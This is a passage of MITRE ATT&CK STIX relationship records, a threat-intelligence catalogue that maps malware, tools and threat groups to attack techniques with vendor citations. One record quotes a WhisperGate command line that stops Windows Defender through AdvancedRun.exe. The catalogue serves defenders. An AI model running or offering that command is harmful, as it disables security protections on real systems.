Tribe Education Campaign July 2022)","relationship_type":"uses","source_ref":"campaign--b4e5a4a9-f3be-4631-ba8f-da6ebb067fac","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--b0e3680e-6099-4f33-a45e-5e938a7e7085","created":"2022-07-05T13:46:50.731Z","x_mitre_version":"0.1","external_references":[{"source_name":"Microsoft POLONIUM June 2022","url":"https://www.microsoft.com/security/blog/2022/06/02/exposing-polonium-activity-and-infrastructure-targeting-israeli-organizations/","description":"Microsoft. (2022, June 2). Exposing POLONIUM activity and infrastructure targeting Israeli organizations. Retrieved July 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[POLONIUM](https://attack.mitre.org/groups/G1005) has used compromised credentials from an IT company to target downstream customers including a law firm and aviation company.(Citation: Microsoft POLONIUM June 2022)","modified":"2022-07-25T16:22:01.631Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--5f3d0238-d058-44a9-8812-3dd1b6741a8c","target_ref":"attack-pattern--9fa07bef-9c81-421e-a8e5-ad4366c5a925","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b0ecee81-0bbe-4ab9-9618-b245656aabc4","created":"2022-03-14T14:26:05.428Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cisco Ukraine Wipers January 2022","description":"Biasini, N. et al.. (2022, January 21). Ukraine Campaign Delivers Defacement and Wipers, in Continued Escalation. Retrieved March 14, 2022.","url":"https://blog.talosintelligence.com/2022/01/ukraine-campaign-delivers-defacement.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-11-30T22:42:27.863Z","description":"The [WhisperGate](https://attack.mitre.org/software/S0689) third stage can use the AdvancedRun.exe tool to execute commands in the context of the Windows TrustedInstaller group via `%TEMP%\\AdvancedRun.exe\" /EXEFilename \"C:\\Windows\\System32\\sc.exe\" /WindowState 0 /CommandLine \"stop WinDefend\" /StartDirectory \"\" /RunAs 8 /Run`.(Citation: Cisco Ukraine Wipers January 2022)","relationship_type":"uses","source_ref":"malware--49fee0b0-390e-4bde-97f8-97ed46bd19b7","target_ref":"attack-pattern--677569f9-a8b0-459e-ab24-7f18091fa7bf","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--b0ee5fb3-ea57-4b00-8d3e-ff911db8f0e7","created":"2022-08-09T16:54:22.859Z","x_mitre_version":"0.1","external_references":[{"source_name":"ZScaler Squirrelwaffle Sep 2021","url":"https://www.zscaler.com/blogs/security-research/squirrelwaffle-new-loader-delivering-cobalt-strike","description":"Kumar, A., Stone-Gross, Brett. (2021, September 28). Squirrelwaffle: New Loader Delivering Cobalt Strike. Retrieved August 9, 2022."},{"source_name":"Netskope Squirrelwaffle Oct 2021","url":"https://www.netskope.com/blog/squirrelwaffle-new-malware-loader-delivering-cobalt-strike-and-qakbot","description":"Palazolo, G. (2021, October 7). SquirrelWaffle: New Malware Loader Delivering Cobalt Strike and QakBot. Retrieved August 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Squirrelwaffle](https://attack.mitre.org/software/S1030) has relied on users enabling malicious macros within Microsoft Excel and Word attachments.(Citation: ZScaler Squirrelwaffle Sep 2021)(Citation: Netskope Squirrelwaffle Oct 2021)","modified":"2022-08-26T21:16:18.522Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--3c18ad16-9eaf-4649-984e-68551bff0d47","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b0f355cc-e11f-4027-9db3-59ec64cd367f","type":"relationship","created":"2019-01-30T16:45:00.072Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Zanni, A. (n.d.). The LaZagne Project !!!. Retrieved December 14, 2018.","url":"https://github.com/AlessandroZ/LaZagne","source_name":"GitHub LaZagne Dec 2018"}],"modified":"2020-03-25T15:46:35.771Z","description":"[LaZagne](https://attack.mitre.org/software/S0349) can obtain credentials from databases, mail, and WiFi across multiple platforms.(Citation: GitHub LaZagne Dec 2018)","relationship_type":"uses","source_ref":"tool--b76b2d94-60e4-4107-a903-4a3a7622fb3b","target_ref":"attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b0f5bd5a-4e44-48f6-8a26-ebb3b5ef685b","created":"2024-08-27T18:52:17.831Z","revoked":false,"external_references":[{"source_name":"Lumen Versa 2024","description":"Black Lotus Labs. (2024, August 27). Taking The Crossroads: The Versa Director Zero-Day Exploitaiton. Retrieved August 27, 2024.","url":"https://blog.lumen.com/taking-the-crossroads-the-versa-director-zero-day-exploitation/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-27T18:52:17.831Z","description":"[Versa Director Zero Day Exploitation](https://attack.mitre.org/campaigns/C0039) established HTTPS communications from adversary-controlled SOHO devices over port 443 with compromised Versa Director servers.(Citation: Lumen Versa 2024)","relationship_type":"uses","source_ref":"campaign--af0ec65a-caa9-40ef-b1c7-21b71fbf3a10","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b0f5d834-3e35-4e09-8bc0-1487027b74f9","type":"relationship","created":"2020-02-03T16:49:58.300Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-03T16:49:58.300Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--09cd431f-eaf4-4d2a-acaf-2a7acfe7ed58","target_ref":"attack-pattern--f6fe9070-7a65-49ea-ae72-76292f42cebe","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b0f6cf11-a8ac-4aba-a540-6bfa2b722f9c","created":"2021-07-30T19:39:51.045Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MSTIC NOBELIUM May 2021","description":"Microsoft Threat Intelligence Center (MSTIC). (2021, May 27). New sophisticated email-based attack from NOBELIUM. Retrieved May 28, 2021.","url":"https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T16:26:27.096Z","description":"[APT29](https://attack.mitre.org/groups/G0016) has used the legitimate mailing service Constant Contact to send phishing e-mails.(Citation: MSTIC NOBELIUM May 2021)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--f6ad61ee-65f3-4bd0-a3f5-2f0accb36317","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b0fee298-25cc-450d-ab7e-a7430c6b3f02","created":"2022-04-13T14:18:30.518Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cisco Ukraine Wipers January 2022","description":"Biasini, N. et al.. (2022, January 21). Ukraine Campaign Delivers Defacement and Wipers, in Continued Escalation. Retrieved March 14, 2022.","url":"https://blog.talosintelligence.com/2022/01/ukraine-campaign-delivers-defacement.html"},{"source_name":"Crowdstrike WhisperGate January 2022","description":"Crowdstrike. (2022, January 19). Technical Analysis of the WhisperGate Malicious Bootloader. Retrieved March 10, 2022.","url":"https://www.crowdstrike.com/blog/technical-analysis-of-whispergate-malware"},{"source_name":"Unit 42 WhisperGate January 2022","description":"Falcone, R. et al.. (2022, January 20). Threat Brief: Ongoing Russia and Ukraine Cyber Conflict. Retrieved March 10, 2022.","url":"https://unit42.paloaltonetworks.com/ukraine-cyber-conflict-cve-2021-32648-whispergate/#whispergate-malware-family"},{"source_name":"Microsoft WhisperGate January 2022","description":"MSTIC. (2022, January 15). Destructive malware targeting Ukrainian organizations. Retrieved March 10, 2022.","url":"https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/"},{"source_name":"Medium S2W WhisperGate January 2022","description":"S2W. (2022, January 18). Analysis of Destructive Malware (WhisperGate) targeting Ukraine. Retrieved March 14, 2022.","url":"https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-11-30T22:42:27.864Z","description":"[WhisperGate](https://attack.mitre.org/software/S0689) can download additional payloads hosted on a Discord channel.(Citation: Crowdstrike WhisperGate January 2022)(Citation: Unit 42 WhisperGate January 2022)(Citation: Microsoft WhisperGate January 2022)(Citation: Cisco Ukraine Wipers January 2022)(Citation: Medium S2W WhisperGate January 2022)","relationship_type":"uses","source_ref":"malware--49fee0b0-390e-4bde-97f8-97ed46bd19b7","target_ref":"attack-pattern--830c9528-df21-472c-8c14-a036bf17d665","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--b105573a-4d07-4253-8a5b-82f68357e098","created":"2022-06-09T21:11:39.515Z","x_mitre_version":"0.1","external_references":[{"source_name":"Malwarebytes Saint Bot April 2021","url":"https://blog.malwarebytes.com/threat-intelligence/2021/04/a-deep-dive-into-saint-bot-downloader/","description":"Hasherezade. (2021, April 6). A deep dive into Saint Bot, a new downloader. Retrieved June 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Saint Bot](https://attack.mitre.org/software/S1018) can deobfuscate strings and files for execution.(Citation: Malwarebytes Saint Bot April 2021)","modified":"2022-06-09T21:11:39.516Z","relationship_type":"uses","source_ref":"malware--7724581b-06ff-4d2b-b77c-80dc8d53070b","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b106375b-8359-41fa-b979-c883fa827346","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/","description":"Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims’ Systems. Retrieved June 6, 2018.","source_name":"McAfee Gold Dragon"}],"modified":"2020-04-21T23:09:31.576Z","description":"[Gold Dragon](https://attack.mitre.org/software/S0249) lists the directories for Desktop, program files, and the user’s recently accessed files.(Citation: McAfee Gold Dragon)","relationship_type":"uses","source_ref":"malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b1065110-5387-4dee-b27e-f671d75f403f","created":"2021-04-07T14:16:20.314Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Cobalt Strike September 2020","description":"Mavis, N. (2020, September 21). The Art and Science of Detecting Cobalt Strike. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20210219195905/https://talos-intelligence-site.s3.amazonaws.com/production/document_files/files/000/095/031/original/Talos_Cobalt_Strike.pdf"},{"source_name":"Cobalt Strike Manual 4.3 November 2020","description":"Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021.","url":"https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:23:54.843Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can deobfuscate shellcode using a rolling XOR and decrypt metadata from Beacon sessions.(Citation: Talos Cobalt Strike September 2020)(Citation: Cobalt Strike Manual 4.3 November 2020)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b106e9ad-dbde-43c7-a38d-da5c87e1da05","type":"relationship","created":"2019-04-17T15:08:45.104Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html","source_name":"FireEye FIN6 Apr 2019"}],"modified":"2019-06-28T14:59:17.855Z","description":"[FIN6](https://attack.mitre.org/groups/G0037) has created Windows services to execute encoded PowerShell commands.(Citation: FireEye FIN6 Apr 2019)","relationship_type":"uses","source_ref":"intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b107d35b-fa2b-4dcb-844e-cacaf15f9982","created":"2023-10-04T19:24:54.977Z","revoked":false,"external_references":[{"source_name":"Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023","description":"FBI et al. (2023, May 9). Hunting Russian Intelligence “Snake” Malware. Retrieved June 8, 2023.","url":"https://www.cisa.gov/sites/default/files/2023-05/aa23-129a_snake_malware_2.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-04T19:24:54.977Z","description":"[Uroburos](https://attack.mitre.org/software/S0022) can use a `Put` command to write files to an infected machine.(Citation: Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023)","relationship_type":"uses","source_ref":"malware--80a014ba-3fef-4768-990b-37d8bd10d7f4","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b108443a-669a-42a3-b065-3c97ba318fcf","created":"2023-09-06T14:26:40.486Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender Sardonic Aug 2021","description":"Budaca, E., et al. (2021, August 25). FIN8 Threat Actor Goes Agile with New Sardonic Backdoor. Retrieved August 9, 2023.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/401/Bitdefender-PR-Whitepaper-FIN8-creat5619-en-EN.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T13:34:13.643Z","description":"[Sardonic](https://attack.mitre.org/software/S1085) can encode client ID data in 32 uppercase hex characters and transfer to the actor-controlled C2 server.(Citation: Bitdefender Sardonic Aug 2021)","relationship_type":"uses","source_ref":"malware--0c52f5bc-557d-4083-bd27-66d7cdb794bb","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b10b7d66-3bee-4ebc-98c2-2eec2259e19e","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft FinFisher March 2018","description":"Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher’s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.","url":"https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/"},{"source_name":"FinFisher Citation","description":"FinFisher. (n.d.). Retrieved September 12, 2024.","url":"https://web.archive.org/web/20171222050934/http://www.finfisher.com/FinFisher/index.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T17:23:46.696Z","description":"[FinFisher](https://attack.mitre.org/software/S0182) contains junk code in its functions in an effort to confuse disassembly programs.(Citation: FinFisher Citation)(Citation: Microsoft FinFisher March 2018)","relationship_type":"uses","source_ref":"malware--a5528622-3a8a-4633-86ce-8cdaf8423858","target_ref":"attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b10df154-0c2a-4159-ac0a-1bdaa78f56cb","type":"relationship","created":"2019-07-19T16:38:05.311Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Soft Cell June 2019","url":"https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers","description":"Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019."}],"modified":"2021-03-17T16:14:44.113Z","description":"[GALLIUM](https://attack.mitre.org/groups/G0093) used ipconfig /all to obtain information about the victim network configuration. The group also ran a modified version of [NBTscan](https://attack.mitre.org/software/S0590) to identify available NetBIOS name servers.(Citation: Cybereason Soft Cell June 2019)","relationship_type":"uses","source_ref":"intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--b10f18a6-43a8-436f-8d9c-f180428f0a0d","created":"2022-06-13T15:32:27.786Z","x_mitre_version":"0.1","external_references":[{"source_name":"ClearSky Siamesekitten August 2021","url":"https://www.clearskysec.com/siamesekitten/","description":"ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By “Siamesekitten” - Lyceum. Retrieved June 6, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Shark](https://attack.mitre.org/software/S1019) can extract and decrypt downloaded .zip files.(Citation: ClearSky Siamesekitten August 2021)","modified":"2022-06-13T15:32:27.786Z","relationship_type":"uses","source_ref":"malware--99854cc8-f202-4e03-aa0a-4f8a4af93229","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b110013b-35e5-470e-9e17-470c7071fa80","created":"2023-09-14T19:06:26.755Z","revoked":false,"external_references":[{"source_name":"Zdnet Ngrok September 2018","description":"Cimpanu, C. (2018, September 13). Sly malware author hides cryptomining botnet behind ever-shifting proxy service. Retrieved September 15, 2020.","url":"https://www.zdnet.com/article/sly-malware-author-hides-cryptomining-botnet-behind-ever-shifting-proxy-service/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-14T19:06:26.755Z","description":"[ngrok](https://attack.mitre.org/software/S0508) has been used by threat actors to proxy C2 connections to ngrok service subdomains.(Citation: Zdnet Ngrok September 2018)","relationship_type":"uses","source_ref":"tool--2f7f03bb-f367-4a5a-ad9b-310a12a48906","target_ref":"attack-pattern--830c9528-df21-472c-8c14-a036bf17d665","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b12a23ae-65f6-4226-8124-331ad59d1556","type":"relationship","created":"2020-03-27T12:10:23.753Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-27T12:18:44.449Z","description":"The sudoers file should be strictly edited such that passwords are always required and that users can't spawn risky processes as users with higher privilege.","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b12c9b3f-bff1-4c73-bb86-a9665948405c","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Sofacy DealersChoice","description":"Falcone, R. (2018, March 15). Sofacy Uses DealersChoice to Target European Government Agency. Retrieved June 4, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/03/unit42-sofacy-uses-dealerschoice-target-european-government-agency/"}],"modified":"2020-03-17T00:53:52.889Z","description":"[DealersChoice](https://attack.mitre.org/software/S0243) leverages vulnerable versions of Flash to perform execution.(Citation: Sofacy DealersChoice)","relationship_type":"uses","source_ref":"malware--8f460983-1bbb-4e7e-8094-f0b5e720f658","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b12cc736-ee7a-4a70-b4f0-2048e218310f","type":"relationship","created":"2021-01-20T18:10:33.804Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro KillDisk 1","url":"https://www.trendmicro.com/en_us/research/18/f/new-killdisk-variant-hits-latin-american-financial-organizations-again.html","description":"Fernando Merces, Byron Gelera, Martin Co. (2018, June 7). KillDisk Variant Hits Latin American Finance Industry. Retrieved January 12, 2021."}],"modified":"2021-05-04T16:56:40.281Z","description":"[KillDisk](https://attack.mitre.org/software/S0607) overwrites the first sector of the Master Boot Record with “0x00”.(Citation: Trend Micro KillDisk 1)","relationship_type":"uses","source_ref":"malware--e221eb77-1502-4129-af1d-fe1ad55e7ec6","target_ref":"attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b12d78d7-5b93-4905-9310-95ad67abaff9","type":"relationship","created":"2020-01-13T17:12:35.481Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-13T17:12:35.481Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--bf147104-abf9-4221-95d1-e81585859441","target_ref":"attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b1323523-7596-4cc2-bd31-34363e4e9b60","created":"2023-12-04T21:29:37.187Z","revoked":false,"external_references":[{"source_name":"Microsoft Ransomware as a Service","description":"Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-04T21:29:37.187Z","description":"[FIN7](https://attack.mitre.org/groups/G0046) has used compromised credentials for access as SYSTEM on Exchange servers.(Citation: Microsoft Ransomware as a Service)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b1334535-019a-4d6a-88c1-8bb6741f152b","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-02-09T23:00:38.761Z","description":"[meek](https://attack.mitre.org/software/S0175) uses Domain Fronting to disguise the destination of network traffic as another server that is hosted in the same Content Delivery Network (CDN) as the intended destination.","relationship_type":"uses","source_ref":"tool--65370d0b-3bd4-4653-8cf9-daf56f6be830","target_ref":"attack-pattern--ca9d3402-ada3-484d-876a-d717bd6e05f2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b1371fd9-1bfd-40b2-90a2-4876d89029bf","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft SIR Vol 21","description":"Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.","url":"http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf"}],"modified":"2020-02-11T19:39:04.039Z","description":"[Wingbird](https://attack.mitre.org/software/S0176) checks for the presence of Bitdefender security software.(Citation: Microsoft SIR Vol 21)","relationship_type":"uses","source_ref":"malware--a8d3d497-2da9-4797-8e0b-ed176be08654","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b13bb5d3-b725-43f9-89d6-6baaa9481d11","created":"2022-12-22T18:43:52.817Z","revoked":false,"external_references":[{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved 